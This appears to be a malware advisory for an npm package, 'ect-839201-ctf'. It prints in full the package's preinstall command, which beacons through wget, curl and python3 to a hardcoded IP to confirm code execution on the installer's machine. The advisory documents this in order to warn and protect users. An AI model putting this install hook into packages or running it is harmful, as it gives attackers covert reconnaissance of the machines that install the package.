ect-839201-ctfnpm
Malicious code in ect-839201-ctf (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection